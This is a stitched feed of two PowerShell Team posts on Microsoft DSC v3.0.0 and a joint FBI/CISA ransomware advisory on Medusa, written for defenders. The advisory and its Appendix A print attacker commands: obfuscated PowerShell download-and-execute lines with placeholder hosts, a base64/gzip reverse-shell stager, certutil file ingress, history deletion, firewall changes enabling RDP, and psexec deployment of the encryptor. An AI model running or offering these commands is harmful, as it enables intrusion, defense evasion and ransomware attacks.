configurations, DSC provides a flexible and scalable approach to configuration as code.

TIP

This post uses the following terminology:

  • DSC refers to Desired State Configuration (DSC) v3.0.0.
  • PSDSC refers to PowerShell Desired State Configuration (PSDSC) v1.1 and v2.

Installing DSC

To get started, follow these steps to install DSC on your system:

On Windows, you can install DSC from the Microsoft Store using winget. By installing from the
Store or using winget, you get automatic updates for DSC.

winget search DesiredStateConfiguration
winget install --id <insert-package-id> --source msstore

On Linux and macOS, you can install DSC using the following steps:

  1. Download the latest release from the PowerShell/DSC repository.
  2. Expand the release archive.
  3. Add the folder containing the expanded archive contents to your PATH environment variable.

Getting started with the DSC command

The dsc command operates on a configuration document or invokes specific resources to manage
settings.

Run the following command to display the dsc command help:

dsc --help
Apply configuration or invoke specific DSC resources

Usage: dsc.exe [OPTIONS] <COMMAND>

Commands:
  completer  Generate a shell completion script
  config     Apply a configuration document
  resource   Invoke a specific DSC resource
  schema     Get the JSON schema for a DSC type
  help       Print this message or the help of the given subcommand(s)

Options:
  -l, --trace-level <TRACE_LEVEL>    Trace level to use [possible values: error, warn, info, debug, trace]
  -t, --trace-format <TRACE_FORMAT>  Trace format to use [default: default] [possible values: default, plaintext, json]
  -h, --help                         Print help
  -V, --version                      Print version

Use the command to get version information.

dsc --version
dsc 3.0.0

To learn more, see the dsc command reference documentation.

Access DSC resources with dsc resource

The dsc resource command displays or invokes a specific DSC resource. The dsc resource command
contains subcommands for listing DSC resources and invoking them directly.

Use the following command to display a list of installed DSC resources.

dsc resource list
Type                                        Kind      Version  Caps      RequireAdapter  Description
----------------------------------------------------------------------------------------------------
Microsoft.DSC.Transitional/RunCommandOnSet  Resource  0.1.0    gs------                  Takes a si…
Microsoft.DSC/Assertion                     Group     0.1.0    gs--t---                  `test` wil…
Microsoft.DSC/Group                         Group     0.1.0    gs--t---                  All resour…
Microsoft.DSC/PowerShell                    Adapter   0.1.0    gs--t-e-                  Resource a…
Microsoft.Windows/RebootPending             Resource  0.1.0    g-------                  Returns in…
Microsoft.Windows/Registry                  Resource  0.1.0    gs-w-d--                  Manage Win…
Microsoft.Windows/WMI                       Adapter   0.1.0    g-------                  Resource a…
Microsoft.Windows/WindowsPowerShell         Adapter   0.1.0    gs--t---                  Resource a…

When the command includes the adapter option, dsc checks for any resource adapters with a matching
name. Classic PowerShell resources are part of the Microsoft.Windows/WindowsPowerShell adapter.

dsc resource list --adapter Microsoft.Windows/WindowsPowerShell
Partial listing

Type                                                   Kind      Version  Caps      RequireAdapter
----------------------------------------------------------------------------------------------------
PSDesiredStateConfiguration/Archive                    Resource  1.1      gs--t---  Microsoft.Windo…
PSDesiredStateConfiguration/Environment                Resource  1.1      gs--t---  Microsoft.Windo…
PSDesiredStateConfiguration/File                       Resource  1.0.0    gs--t---  Microsoft.Windo…
PSDesiredStateConfiguration/Group                      Resource  1.1      gs--t---  Microsoft.Windo…
PSDesiredStateConfiguration/GroupSet                   Resource  1.1      gs--t---  Microsoft.Windo…
PSDesiredStateConfiguration/Log                        Resource  1.1      gs--t---  Microsoft.Windo…

To learn more, see the dsc resource command reference documentation.

Manage a basic configuration

The dsc config command includes subcommands for managing the resource instances defined in a DSC
configuration document.

The following YAML configuration document calls the classic PowerShell resource WindowsFeature
from the PSDesiredStateConfiguration module to install a Windows web server (IIS) on Windows
Server.

$schema: https://raw.githubusercontent.com/PowerShell/DSC/main/schemas/2024/04/config/document.json
resources:
  - name: Use Windows PowerShell resources
    type: Microsoft.Windows/WindowsPowerShell
    properties:
      resources:
        - name: Web server install
          type: PSDesiredStateConfiguration/WindowsFeature
          properties:
            Name: Web-Server
            Ensure: Present

To set a machine to the configuration, use the dsc config set subcommand. The following example
shows how you can send the configuration document to DSCv3 using PowerShell:

Get-Content ./web.config.dsc.yaml | dsc config set

To learn more, see the dsc config command reference documentation.

Next steps

Learn more about Authoring Enhancements in Desired State Configuration v3.0.0.

Call to action

For more information about DSC v3.0, see the DSCv3 documentation. We value your feedback. Stop
by our GitHub repository and let us know of any issues you find.

Jason Helmick

Sr. Product Manager, PowerShell

The post Get started with Microsoft Desired State Configuration v3.0.0 appeared first on PowerShell Team.

Announcing Microsoft Desired State Configuration v3.0.0

This post was originally published on this site

This is the first post in a multi-part series about the new release of DSC.

We’re pleased to announce the General Availability of Microsoft’s Desired State Configuration (DSC)
version 3.0.0.

This version marks a significant evolution in cloud-native configuration management
for cross-platform environments. DSC is a declarative configuration and orchestration platform that
defines a standard way of exposing settings for applications and services. It’s a tool for managing
systems and applications by describing what they should look like rather than how to make it that
way. DSC simplifies system, service, and application management by separating what to do from how to
do it.

Benefits of DSC

  • Declarative and Idempotent: DSC configuration documents are declarative JSON or YAML files
    that define the desired state of your system in a straight-forward way. They include the instances
    of DSC resources that need configuration. DSC ensures the system matches that state, repeatedly if
    needed, without making unnecessary changes.
  • Flexible: DSC Resources define how to manage state for a particular system or application
    component. Resources can be authored in any language, not only PowerShell.
  • Cross-Platform: DSC works on Linux, macOS, and Windows without needing extra tools or
    dependencies.
  • Integratable: Designed to be easily integrated into existing configuration solutions. DSC
    returns schematized JSON objects for trace messages and command output. Tool developers and script
    authors can easily validate and parse the output for integration with other configuration tools
    and frameworks. DSC simplifies how you call it by accepting JSON from stdin for all configuration
    and resource commands. DSC resources include a manifest that defines the resource properties as a
    JSON schema and how to invoke the resource. You can reuse this definition across various
    toolchains for tighter integration with DSC.
  • Backwards compatible: This release of DSC can use all existing PowerShell 7 and Windows
    PowerShell DSC resources.

With DSC, you can:

  • Create configuration files that define how your environment should look.
  • Write DSC resources in any programming language to manage your systems and applications.
  • Invoke DSC resources to perform specific actions.
  • Define a standard way for applications and services to make their settings discoverable and
    usable. This means that you can discover and invoke resources directly, even without DSC.

Differences from PowerShell DSC

Windows PowerShell 5.1 includes PowerShell Desired State Configuration (PSDSC). We refer to as
classic DSC, which encompasses PSDSC v1.1 and v2. However, DSC can use any classic DSC resources
that exist today, including the script-based and class-based PSDSC resources. You can use PSDSC
resources in DSC with both Windows PowerShell and PowerShell.

The release of DSC is a major change to the DSC platform. DSC differs from PSDSC in a few important
ways:

  • DSC no longer includes or supports the Local Configuration Manager (LCM).
  • DSC doesn’t depend on PowerShell. You can use DSC without PowerShell installed and manage
    resources written in bash, python, C#, Go, or any other language.
  • DSC doesn’t include a local configuration manager. DSC is invoked as a command-line tool. It doesn’t
    run as a service.
  • The PSDSC configuration documents used Managed Object Format (MOF) files. Few tools were able to
    parse MOF files, especially on non-Windows platforms. DSC isn’t compatible with MOF files, but you
    can still use all existing PSDSC resources.
  • DSC is built on industry standards, such as JSON, JSON Schema, and YAML. These standards make DSC
    easier to integrate into tools and workflows compared to PSDSC.
  • DSC configuration documents are defined in JSON or YAML. The configuration documents use
    expression functions to enable dynamic values, rather than using PowerShell code to retrieve
    environment variables or join strings.
  • DSC supports supplying parameter values for configuration documents at runtime either as JSON
    or by pointing to a parameters file instead of generating a configuration MOF file before
    applying the configuration.
  • Unlike PSDSC, DSC returns strongly structured output. This structured output adheres to a
    published JSON Schema, making it easier to understand the output and to integrate it into your own
    scripts, reporting, and other tooling. When you test or set resources and configurations
    with DSC, the output tells you how a resource is out of the desired state or what DSC changed
    on your system.

Features of DSC

  • Groups: DSC supports a new resource kind that changes how DSC processes a list of resources.
    Resource authors can define their own group resources and configuration authors can use any of the
    built-in group resources.The DSC repository has an example that shows how you can group resources together and use
    the dependsOn keyword to define the order those groups are applied in a configuration.
  • Assertions: Use the Microsoft.Dsc/Assertion (a special group resource) to validate the
    environment before running the configuration.The DSC repository has an example that shows how you can use an assertion to manage a
    resource that should only run on a specific operating system.
  • Importers: DSC supports a new resource kind that pulls in a configuration from an external
    source for reuse in the current configuration document. Resource authors can define their own
    importer resources and configuration authors can use the built-in Microsoft.DSC/Include
    resource.The DSC repository has an example that shows how you can use the Microsoft.Dsc/Include
    resource to reuse a separate configuration document file, enabling you to compose a complex
    configuration from smaller, simpler configuration documents.
  • Exporting: DSC supports a new operation that resources can implement to return the list of all
    existing instances of that resource. You can use the dsc resource export command to get
    every instance of that resource on a machine. Use the dsc config export command to look up
    a set of resources and return a new configuration document containing every instance of those
    resources.
  • Configuration functions: DSC configuration documents support a set of functions that
    enable you to change how DSC processes the resources.The DSC repository has an example that shows how you can reference the output from one
    resource in the properties of another.

Support lifecycle

DSC follows semantic versioning. The first release of DSC, version 3.0.0, is a Stable release.

The first release of DSC, version 3.0.0, is a Stable release. Patch releases update the third
digit of the semantic version number. For example, 3.0.1 is a patch update to 3.0.0. Stable releases
receive patches for critical bugs and security vulnerabilities for three months after the next
Stable release. For example, version 3.0.0 is supported for three months after 3.1.0 is released.

Always update to the latest patch version of the release you’re using.

Next steps

As I mentioned at the top of this post, this was the first in a series of posts about the new DSC. For the subsequent posts:

  • DSC refers to Desired State Configuration (DSC) v3.0.0
  • PSDSC refers to PowerShell Desired State Configuration (PSDSC) v1.1 and v2

Now you are ready for the next post: Get Started with Desired State Configuration v3.0.0 (DSC)

Call to action

For more information about Desired State Configuration v3.0 (DSC), visit the
DSC documentation. We value your feedback. Stop by our GitHub repository and let us
know of any issues you find.

Jason Helmick

Sr. Product Manager, PowerShell

The post Announcing Microsoft Desired State Configuration v3.0.0 appeared first on PowerShell Team.

#StopRansomware: Medusa Ransomware

This post was originally published on this site

Summary

Note: This joint Cybersecurity Advisory is part of an ongoing #StopRansomware effort to publish advisories for network defenders detailing various ransomware variants and ransomware threat actors. These #StopRansomware advisories include recently and historically observed tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs) to help organizations protect against ransomware. Visit stopransomware.gov to see all #StopRansomware advisories and to learn more about other ransomware threats and no-cost resources.

The Federal Bureau of Investigation (FBI), Cybersecurity and Infrastructure Security Agency (CISA), and the Multi-State Information Sharing and Analysis Center (MS-ISAC) are releasing this joint advisory to disseminate known Medusa ransomware TTPs and IOCs, identified through FBI investigations as recently as February 2025. 

Medusa is a ransomware-as-a-service (RaaS) variant first identified in June 2021. As of February 2025, Medusa developers and affiliates have impacted over 300 victims from a variety of critical infrastructure sectors with affected industries including medical, education, legal, insurance, technology, and manufacturing. The Medusa ransomware variant is unrelated to the MedusaLocker variant and the Medusa mobile malware variant per the FBI’s investigation.

FBI, CISA, and MS-ISAC encourage organizations to implement the recommendations in the Mitigations section of this advisory to reduce the likelihood and impact of Medusa ransomware incidents.

Download the PDF version of this report:

For a downloadable list of IOCs, see:

AA25-071A STIX XML
(XML, 34.30 KB
)

AA25-071A STIX JSON
(JSON, 42.28 KB
)

Technical Details

Note: This advisory uses the MITRE ATT&CK® Matrix for Enterprise framework, version 16. See the MITRE ATT&CK Tactics and Techniques section of this advisory for a table of the threat actors’ activity mapped to MITRE ATT&CK tactics and techniques.

Background

The RaaS Medusa variant has been used to conduct ransomware attacks from 2021 to present. Medusa originally operated as a closed ransomware variant, meaning all development and associated operations were controlled by the same group of cyber threat actors. While Medusa has since progressed to using an affiliate model, important operations such as ransom negotiation are still centrally controlled by the developers. Both Medusa developers and affiliates—referred to as “Medusa actors” in this advisory—employ a double extortion model, where they encrypt victim data and threaten to publicly release exfiltrated data if a ransom is not paid.

Initial Access

Medusa developers typically recruit initial access brokers (IABs) in cybercriminal forums and marketplaces to obtain initial access [TA0001] to potential victims. Potential payments between $100 USD and $1 million USD are offered to these affiliates with the opportunity to work exclusively for Medusa. Medusa IABs (affiliates) are known to make use of common techniques, such as:

Discovery

Medusa actors use living off the land (LOTL) and legitimate tools Advanced IP Scanner and SoftPerfect Network Scanner for initial user, system, and network enumeration. Once a foothold in a victim network is established, commonly scanned ports include:

  • 21 (FTP)
  • 22 (SSH)
  • 23 (Telnet)
  • 80 (HTTP)
  • 115 (SFTP)
  • 443 (HTTPS)
  • 1433 (SQL database)
  • 3050 (Firebird database)
  • 3128 (HTTP web proxy)
  • 3306 (MySQL database)
  • 3389 (RDP)

Medusa actors primarily use PowerShell [T1059.001] and the Windows Command Prompt (cmd.exe) [T1059.003] for network [T1046] and filesystem enumeration [T1083] and to utilize Ingress Tool Transfer capabilities [T1105]. Medusa actors use Windows Management Instrumentation (WMI) [T1047] for querying system information.

Defense Evasion

Medusa actors use LOTL to avoid detection [TA0005]. (See Appendix A for associated shell commands observed during FBI investigations of Medusa victims.) Certutil (certutil.exe) is used to avoid detection when performing file ingress.

Actors have been observed using several different PowerShell detection evasion techniques with increasing complexity, which are provided below. Additionally, Medusa actors attempt to cover their tracks by deleting the PowerShell command line history [T1070.003].

In this example, Medusa actors use a well-known evasion technique that executes a base64 encrypted command [T1027.013] using specific execution settings.

  • powershell -exec bypass -enc <base64 encrypted command string>

In another example, the DownloadFile string is obfuscated by slicing it into pieces and referencing it via a variable [T1027].

  • powershell -nop -c $x = 'D' + 'Own' + 'LOa' + 'DfI' + 'le'; Invoke-Expression (New-Object Net.WebClient).$x.Invoke(http://<ip>/<RAS tool>.msi)

In the final example, the payload is an obfuscated base64 string read into memory, decompressed from gzip, and used to create a scriptblock. The base64 payload is split using empty strings and concatenation, and uses a format operator (-f) followed by three arguments to specify character replacements in the base64 payload.

  • powershell -nop -w hidden -noni -ep bypass &([scriptblock]::create((
  • New-Object System.IO.StreamReader(
  • New-Object System.IO.Compression.GzipStream((
  • New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String(
  • (('<base64 payload string>')-f'<character replacement 0>','<character replacement 1>', '<character replacement 2>')))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))

The obfuscated base64 PowerShell payload is identical to powerfun.ps1, a publicly available stager script that can create either a reverse or bind shell over TLS to load additional modules. In the bind shell, the script awaits a connection on local port 443 [T1071.001], and initiates a connection to a remote port 443 in the reverse shell.

In some instances, Medusa actors attempted to use vulnerable or signed drivers to kill or delete endpoint detection and response (EDR) tools [T1562.001].

FBI has observed Medusa actors using the following tools to support command and control (C2) and evade detection:

  • Ligolo.
    • A reverse tunneling tool often used to create secure connections between a compromised host and threat actor’s machine.
  • Cloudflared.
    • Formerly known as ArgoTunnel.
    • Used to securely expose applications, services, or servers to the internet via Cloudflare Tunnel without exposing them directly.

Lateral Movement and Execution

Medusa actors use a variety of legitimate remote access software [T1219]; they may tailor their choice based on any remote access tools already present in the victim environment as a means of evading detection. Investigations identified Medusa actors using remote access software AnyDesk, Atera, ConnectWise, eHorus, N-able, PDQ Deploy, PDQ Inventory, SimpleHelp, and Splashtop. Medusa uses these tools—in combination with Remote Desktop Protocol (RDP) [T1021.001] and PsExec [T1569.002]—to move laterally [TA0008] through the network and identify files for exfiltration [TA0010] and encryption [T1486]. When provided with valid username and password credentials, Medusa actors use PsExec to:

  • Copy (-c) one script from various batch scripts on the current machine to the remote machine and execute it with SYSTEM level privileges (-s).
  • Execute an already existing local file on a remote machine with SYSTEM level privileges.
  • Execute remote shell commands using cmd /c.

One of the batch scripts executed by PsExec is openrdp.bat, which first creates a new firewall rule to allow inbound TCP traffic on port 3389:

  • netsh advfirewall firewall add rule name="rdp" dir=in protocol=tcp localport=3389 action=allow

Then, a rule to allow remote WMI connections is created:

  • netsh advfirewall firewall set rule group="windows management instrumentation (wmi)" new enable=yes

Finally, the registry is modified to allow Remote Desktop connections:

  • reg add "HKLMSYSTEMCurrentControlSetControlTerminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

Mimikatz has also been observed in use for Local Security Authority Subsystem Service (LSASS) dumping [T1003.001] to harvest credentials [TA0006] and aid lateral movement.

Exfiltration and Encryption

Medusa actors install and use Rclone to facilitate exfiltration of data to the Medusa C2 servers [T1567.002] used by actors and affiliates. The actors use Sysinternals PsExec, PDQ Deploy, or BigFix [T1072] to deploy the encryptor, gaze.exe, on files across the network—with the actors disabling Windows Defender and other antivirus services on specific targets. Encrypted files have a .medusa file extension. The process gaze.exe terminates all services [T1489] related to backups, security, databases, communication, file sharing and websites, then deletes shadow copies [T1490] and encrypts files with AES-256 before dropping the ransom note. The actors then manually turn off [T1529] and encrypt virtual machines and delete their previously installed tools [T1070].

Extortion

Medusa RaaS employs a double extortion model, where victims must pay [T1657] to decrypt files and prevent further release. The ransom note demands victims make contact within 48 hours via either a Tor browser based live chat, or via Tox, an end-to-end encrypted instant-messaging platform. If the victim does not respond to the ransom note, Medusa actors will reach out to them directly by phone or email. Medusa operates a .onion data leak site, divulging victims alongside countdowns to the release of information. Ransom demands are posted on the site, with direct hyperlinks to Medusa affiliated cryptocurrency wallets. At this stage, Medusa concurrently advertises sale of the data to interested parties before the countdown timer ends. Victims can additionally pay $10,000 USD in cryptocurrency to add a day to the countdown timer.

FBI investigations identified that after paying the ransom, one victim was contacted by a separate Medusa actor who claimed the negotiator had stolen the ransom amount already paid and requested half of the payment be made again to provide the “true decryptor”— potentially indicating a triple extortion scheme.

Indicators of Compromise

Table 1 lists the hashes of malicious files obtained during investigations.

Table 1: Malicious Files
Files Hash (MD5) Description
!!!READ_ME_MEDUSA!!!.txt Redacted Ransom note file
openrdp.bat 44370f5c977e415981febf7dbb87a85c Allows incoming RDP and remote WMI connections
pu.exe 80d852cd199ac923205b61658a9ec5bc Reverse shell

Table 2 includes email addresses used by Medusa actors to extort victims; they are exclusively used for ransom negotiation and contacting victims following compromise. These email addresses are not associated with phishing activity conducted by Medusa actors.

Table 2: Medusa Email Addresses
Email Addresses Description
key.medusa.serviceteam@protonmail.com Used for ransom negotiation
medusa.support@onionmail.org Used for ransom negotiation
mds.svt.breach@protonmail.com Used for ransom negotiation
mds.svt.mir2@protonmail.com Used for ransom negotiation
MedusaSupport@cock.li Used for ransom negotiation

MITRE ATT&CK Tactics and Techniques

See Table 3Table 11 for all referenced threat actor tactics and techniques in this advisory. For assistance with mapping malicious cyber activity to the MITRE ATT&CK framework, see CISA and MITRE ATT&CK’s Best Practices for MITRE ATT&CK Mapping and CISA’s Decider Tool.

Table 3: Initial Access
Technique Title ID Use
Exploit Public-Facing Application T1190 Medusa actors exploited unpatched software or n-day vulnerabilities through common vulnerabilities and exposures.
Initial Access TA0001 Medusa actors recruited initial access brokers (IABS) in cybercriminal forums and marketplaces to obtain initial access.
Phishing T1566 Medusa IABS used phishing campaigns as a primary method for delivering ransomware to victims.
Table 4: Defense Evasion
Technique Title ID Use
Indicator Removal: Clear Command History T1070.003 Medusa actors attempt to cover their tracks by deleting the PowerShell command line history.
Obfuscated Files or Information: Encrypted/Encoded File T1027.013 Medusa actors use a well-known evasion technique that executes a base64 encrypted command.
Obfuscated Files or Information T1027 Medusa actors obfuscated a string by slicing it into pieces and referencing it via a variable.
Indicator Removal T1070 Medusa actors deleted their previous work and tools installed. 
Impair Defenses: Disable or Modify Tools T1562.001 Medusa actors killed or deleted endpoint detection and response tools.
Table 5: Discovery
Technique Title ID Use
Network Service Discovery T1046 Medusa actors utilized living of the land techniques to perform network enumeration.
File and Directory Discovery T1083 Medusa actors utilized Windows Command Prompt for filesystem enumeration.
Network Share Discovery T1135 Medusa actors queried shared drives on the local system to gather sources of information.
System Network Configuration Discovery T1016 Medusa actors used operating system administrative utilities to gather network information.
System Information Discovery T1082 Medusa actors used the command systeminfo to gather detailed system information.
Permission Groups Discovery: Domain Groups T1069.002 Medusa actors attempt to find domain-level group and permission settings.
Table 6: Credential Access
Technique Title ID Use
Credential Access TA0006 Medusa actors harvest credentials with tools like Mimikatz to gain access to systems.
OS Credential Dumping: LSASS Memory T1003.001 Medusa actors were observed accessing credential material stored in process memory or Local Security Authority Subsystem Service (LSASS) using Mimkatz.
Table 7: Lateral Movement and Execution
Technique Title ID Use
Lateral Movement TA0008 Medusa actors performed techniques to move laterally without detection once they gained initial access.
Command and Scripting Interpreter: PowerShell T1059.001 Medusa actors used PowerShell, a powerful interactive command-line interface and scripting environment for ingress, network, and filesystem enumeration.
Command and Scripting Interpreter: Windows Command Shell T1059.003 Medusa actors used Windows Command Prompt—which can be used to control almost any aspect of a system—for ingress, network, and filesystem enumeration. 
Software Deployment Tools T1072 Medusa Actors used PDQ Deploy and BigFix to deploy the encryptor on files across the network.
Remote Services: Remote Desktop Protocol T1021.001 Medusa actors used Remote Desktop Protocol (RDP), a common feature in operating systems, to log into an interactive session with a system and move laterally.
System Services T1569.002 Medusa actors used Sysinternals PsExec to deploy the encryptor on files across the network.
Windows Management Instrumentation T1047 Medusa actors abused Windows Management Instrumentation to query system information.
Table 8: Exfiltration and Encryption
Technique Title  ID Use
Exfiltration TA0010 Medusa actors identified files to exfiltrate out of victim networks.
Exfiltration Over Web Service: Exfiltration to Cloud Storage T1567.002 Medusa actors used Rclone to facilitate exfiltration of data to the Medusa C2 servers.
Table 9: Command and Control
Technique Title ID Use
Ingress Tool Transfer T1105 Medusa actors used PowerShell, Windows Command Prompt, and certutil for file ingress.
Application Layer Protocol: Web Protocols  T1071.001 Medusa actors communicate using application layer protocols associated with web traffic. In this case, Medusa actors used scripts that created reverse or bind shells over port 443: HTTPS.
Remote Access Software T1219 Medusa actors used remote access software to move laterally through the network.
Table 10: Persistence
Technique Title ID Use
Create Account T1136.002 Medusa actors created a domain account to maintain access to victim systems.
Table 11: Impact
Technique Title ID Use
Data Encrypted for Impact T1486 Medusa identified and encrypted data on target systems to interrupt availability to system and network resources.
Inhibit System Recovery T1490 The process gaze.exe terminates all services then deletes shadow copies and encrypts files with AES-256 before dropping the ransom note.
Financial Theft T1657 Victims must pay to decrypt files and prevent further release by Medusa actors.
System Shutdown/Reboot T1529 Medusa actors manually turned off and encrypted virtual machines.
Service Stop T1489 The process gaze.exe terminates all services related to backups, security, databases, communication, file sharing, and websites,

Mitigations

FBI, CISA, and MS-ISAC recommend organizations implement the mitigations below to improve cybersecurity posture based on threat actors’ activity. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA’s CPGs webpage for more information on the CPGs, including additional recommended baseline protections.

  • Implement a recovery plan to maintain and retain multiple copies of sensitive or proprietary data and servers in a physically separate, segmented, and secure location (e.g., hard drive, storage device, the cloud) [CPG 2.F, 2.R, 2.S].
  • Require all accounts with password logins (e.g., service accounts, admin accounts, and domain admin accounts) to comply with NIST’s standards. In particular, require employees to use long passwords and consider not requiring frequently recurring password changes, as these can weaken security [CPG 2.C].
  • Require multifactor authentication for all services to the extent possible, particularly for webmail, virtual private networks, and accounts that access critical systems [CPG 2.H].
  • Keep all operating systems, software, and firmware up to date. Timely patching is one of the most efficient and cost-effective steps an organization can take to minimize its exposure to cybersecurity threats. Prioritize patching known exploited vulnerabilities in internet-facing systems [CPG 1.E].
  • Segment networks to prevent the spread of ransomware. Network segmentation can help prevent the spread of ransomware by controlling traffic flows between—and access to—various subnetworks and by restricting adversary lateral movement [CPG 2.F].
  • Identify, detect, and investigate abnormal activity and potential traversal of the indicated ransomware with a networking monitoring tool. To aid in detecting the ransomware, implement a tool that logs and reports all network traffic, including lateral movement activity on a network. Endpoint detection and response (EDR) tools are particularly useful for detecting lateral connections as they have insight into common and uncommon network connections for each host [CPG 3.A].
  • Require VPNs or Jump Hosts for remote access.
  • Monitor for unauthorized scanning and access attempts.
  • Filter network traffic by preventing unknown or untrusted origins from accessing remote services on internal systems. This prevents threat actors from directly connecting to remote access services that they have established for persistence.
  • Audit user accounts with administrative privileges and configure access controls according to the principle of least privilege [CPG 2.E].
  • Review domain controllers, servers, workstations, and active directories for new and/or unrecognized accounts [CPG 1.A, 2.O].
  • Disable command-line and scripting activities and permissions. Privilege escalation and lateral movement often depend on software utilities running from the command line. If threat actors are not able to run these tools, they will have difficulty escalating privileges and/or moving laterally [CPG 2.E, 2.N].
  • Disable unused ports[CPG 2.V].
  • Maintain offline backups of data, and regularly maintain backup and restoration [CPG 2.R]. By instituting this practice, the organization helps ensure they will not be severely interrupted and/or only have irretrievable data.
  • Ensure all backup data is encrypted, immutable (i.e., cannot be altered or deleted), and covers the entire organization’s data infrastructure [CPG 2.K, 2.L, 2.R].

Validate Security Controls

In addition to applying mitigations, the FBI, CISA, and MS-ISAC recommend exercising, testing, and validating your organization’s security program against the threat behaviors mapped to the MITRE ATT&CK Matrix for Enterprise framework in this advisory. The FBI, CISA, and MS-ISAC recommend testing your existing security controls inventory to assess how they perform against the ATT&CK techniques described in this advisory.

To get started:

  1. Select an ATT&CK technique described in this advisory (Table 3 to Table 11).
  2. Align your security technologies against the technique.
  3. Test your technologies against the technique.
  4. Analyze your detection and prevention technologies’ performance.
  5. Repeat the process for all security technologies to obtain a set of comprehensive performance data.
  6. Tune your security program, including people, processes, and technologies, based on the data generated by this process.

The FBI, CISA, and MS-ISAC recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory.

Resources

Reporting

Your organization has no obligation to respond or provide information back to FBI in response to this joint advisory. If, after reviewing the information provided, your organization decides to provide information to FBI, reporting must be consistent with applicable state and federal laws.

FBI is interested in any information that can be shared, to include boundary logs showing communication to and from foreign IP addresses, a sample ransom note, communications with threat actors, Bitcoin wallet information, decryptor files, and/or a benign sample of an encrypted file.

Additional details of interest include a targeted company point of contact, status and scope of infection, estimated loss, operational impact, transaction IDs, date of infection, date detected, initial attack vector, and host- and network-based indicators.

The FBI, CISA, and MS-ISAC do not encourage paying ransoms as payment does not guarantee victim files will be recovered. Furthermore, payment may also embolden adversaries to target additional organizations, encourage other criminal actors to engage in the distribution of ransomware, and/or fund illicit activities. Regardless of whether you or your organization have decided to pay the ransom, FBI, CISA, and MS-ISAC urge you to promptly report ransomware incidents to FBI’s Internet Crime Complaint Center (IC3), a local FBI Field Office, or CISA via the agency’s Incident Reporting System or its 24/7 Operations Center (report@cisa.gov) or by calling 1-844-Say-CISA (1-844-729-2472).

Disclaimer

The information in this report is being provided “as is” for informational purposes only. The FBI, CISA, and MS-ISAC do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by the FBI, CISA, and MS-ISAC.

Acknowledgements

ConnectWise contributed to this advisory.

Version History

March 12, 2025: Initial version.

Appendix A: Medusa Commands

These commands explicitly demonstrate the methods used by Medusa threat actors once they obtain a foothold inside a victim network. Incident responders and threat hunters can use this information to detect malicious activity. System administrators can use this information to design allowlist/denylist policies or other protective mechanisms.

cmd.exe /c certutil -f urlcache https://<domain>/<remotefile>.css <localfile>.dll
cmd.exe /c certutil -f urlcache https://<domain>/<remotefile>.msi <localfile>.msi
cmd.exe /c driverquery
cmd.exe /c echo Computer: %COMPUTERNAME% & `
echo Username: %USERNAME% & `
echo Domain: %USERDOMAIN% & `
echo Logon Server: %LOGONSERVER% & `
echo DNS Domain: %USERDNSDOMAIN% & `
echo User Profile: %USERPROFILE% & echo `
System Root: %SYSTEMROOT%
cmd.exe /c ipconfig /all [T1016]
cmd.exe /c net share [T1135]
cmd.exe /c net use
cmd.exe /c netstat -a
cmd.exe /c sc query
cmd.exe /c schtasks
cmd.exe /c systeminfo [T1082]
cmd.exe /c ver
cmd.exe /c wmic printer get caption,name,deviceid,drivername,portname
cmd.exe /c wmic printjob
mmc.exe compmgmt.msc /computer:{hostname/ip}
mstsc.exe /v:{hostname/ip}
mstsc.exe /v:{hostname/ip} /u:{user} /p:{pass}
powershell -exec bypass -enc <base64 encrypted command string>
powershell -nop -c $x = ‘D’ + ‘Own’ + ‘LOa’ + ‘DfI’ + ‘le’; Invoke-Expression (New-Object Net.WebClient).$x.Invoke(http://<ip>/<RMM tool>.msi)

powershell -nop -w hidden -noni -ep bypass &([scriptblock]::create((

New-Object System.IO.StreamReader(

New-Object System.IO.Compression.GzipStream((

New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String(

((‘<base64 payload string>’)-f'<character replacement 0>’,

‘<character replacement 1>’,'<character replacement 2>’)))),

[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))

powershell Remove-Item (Get-PSReadlineOption).HistorySavePath

powershell Get-ADComputer -Filter * -Property * | Select-Object Name,OperatingSystem,OperatingSystemVersion,Description,LastLogonDate,

logonCount,whenChanged,whenCreated,ipv4Address | Export-CSV -Path <file path> 

-NoTypeInformation -Encoding UTF8

psexec.exe -accepteula -nobanner -s {hostname/ip} “c:windowssystem32taskkill.exe” /f /im WRSA.exe
psexec.exe -accepteula -nobanner -s {hostname/ip} -c coba.bat
psexec.exe -accepteula -nobanner -s {hostname/ip} -c openrdp.bat
psexec.exe -accepteula -nobanner -s {hostname/ip} -c StopAllProcess.bat
psexec.exe -accepteula -nobanner -s {hostname/ip} -c zam.bat
psexec.exe -accepteula -nobanner -s {hostname/ip} c:tempx.bat
psexec.exe -accepteula -nobanner -s {hostname/ip} cmd
psexec.exe -accepteula -nobanner -s {hostname/ip} cmd /c   “c:gaze.exe”
psexec.exe -accepteula -nobanner -s {hostname/ip} cmd /c  “copy ad02sysvolgaze.exe c:gaze.exe
psexec.exe -accepteula -nobanner -s {hostname/ip} cmd /c  “copy ad02sysvolgaze.exe c:gaze.exe && c:gaze.exe”
psexec.exe -accepteula -nobanner -s {hostname/ip} -u {user} -p {pass} -c coba.bat
psexec.exe -accepteula -nobanner -s {hostname/ip} -u {user} -p {pass} -c hostname/ipwho.bat
psexec.exe -accepteula -nobanner -s {hostname/ip} -u {user} -p {pass} -c openrdp.bat
psexec.exe -accepteula -nobanner -s {hostname/ip} -u {user} -p {pass} -c zam.bat
psexec.exe -accepteula -nobanner -s {hostname/ip} -u {user} -p {pass} cmd
psexec.exe -accepteula -nobanner -s {hostname/ip} -u {user} -p {pass} -с newuser.bat
psexec.exe -accepteula -nobanner -s {hostname/ip} -с duooff.bat
